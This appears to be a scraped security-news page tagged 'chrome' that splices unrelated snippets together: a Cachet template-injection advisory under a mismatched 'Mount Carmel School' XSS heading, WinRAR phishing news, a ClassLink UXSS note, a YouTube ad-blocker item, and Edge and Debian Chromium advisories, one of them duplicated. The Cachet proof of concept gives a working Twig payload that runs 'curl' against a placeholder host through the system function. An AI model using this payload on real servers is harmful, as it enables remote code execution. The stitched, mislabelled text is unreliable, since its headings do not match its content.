#chrome

2023 Mount Carmel School version 6.4.1 suffers from a cross site scripting vulnerability.

### Summary A template functionality which allows users to create templates allows them to execute any code on the server during the bad filtration and old twig version. Within `/cachet/app/Http/Routes/ApiRoutes.php`, and attacker could control `template` input which is passed to `laravel's` dispatched handler `/cachet/app/Bus/Handlers/Commands/Incident/CreateIncidentCommandHandler.php`. If an attacker is able to control this data, they may be able to trigger a server-side template injection vulnerability which can lead to remote code execution. This vulnerability does not exist within the [Twig](https://twig.symfony.com/) library itself, but exists during the process of the [Cachet](https://github.com/cachethq/cachet) processing of the data without any filtration. This has been patched in Cachet version 2.4. ### PoC 1. Log in as a default user (non-admin); 2. Create an incident with name `slug1` and with content: `{{ ['curl yourhost.com','']|sort('system') }}` or with any other ...

Pro-Russian hacking groups have exploited a recently disclosed security vulnerability in the WinRAR archiving utility as part of a phishing campaign designed to harvest credentials from compromised systems. "The attack involves the use of malicious archive files that exploit the recently discovered vulnerability affecting the WinRAR compression software versions prior to 6.23 and traced as

A Universal Cross Site Scripting (UXSS) vulnerability in ClassLink OneClick Extension through 10.7 allows remote attackers to inject JavaScript into any webpage, because a regular expression (validating whether a URL is controlled by ClassLink) is not present in all applicable places.

By Waqas Using YouTube? You might need to disable your ad blocker or whitelist YouTube.com. This is a post from HackRead.com Read the original post: YouTube Takes on Ad Blockers with Warning Pop-Ups

Microsoft Edge (Chromium-based) Spoofing Vulnerability

Debian Linux Security Advisory 5526-1 - Multiple security issues were discovered in Chromium, which could result in the execution of arbitrary code, denial of service or information disclosure.

**According to the CVSS metric, the attack complexity is high (AC:H). What does that mean for this vulnerability?** Successful exploitation of this vulnerability requires an attacker to take additional actions prior to exploitation to prepare the target environment.

**Why is this Chrome CVE included in the Security Update Guide?** The vulnerability assigned to this CVE is in Chromium Open Source Software (OSS) which is consumed by Microsoft Edge (Chromium-based). It is being documented in the Security Update Guide to announce that the latest version of Microsoft Edge (Chromium-based) is no longer vulnerable. Please see Security Update Guide Supports CVEs Assigned by Industry Partners for more information. **How can I see the version of the browser?** 1. In your Microsoft Edge browser, click on the 3 dots (...) on the very right-hand side of the window 2. Click on **Help and Feedback** 3. Click on **About Microsoft Edge**

**Why is this Chrome CVE included in the Security Update Guide?** The vulnerability assigned to this CVE is in Chromium Open Source Software (OSS) which is consumed by Microsoft Edge (Chromium-based). It is being documented in the Security Update Guide to announce that the latest version of Microsoft Edge (Chromium-based) is no longer vulnerable. Please see Security Update Guide Supports CVEs Assigned by Industry Partners for more information. **How can I see the version of the browser?** 1. In your Microsoft Edge browser, click on the 3 dots (...) on the very right-hand side of the window 2. Click on **Help and Feedback** 3. Click on **About Microsoft Edge**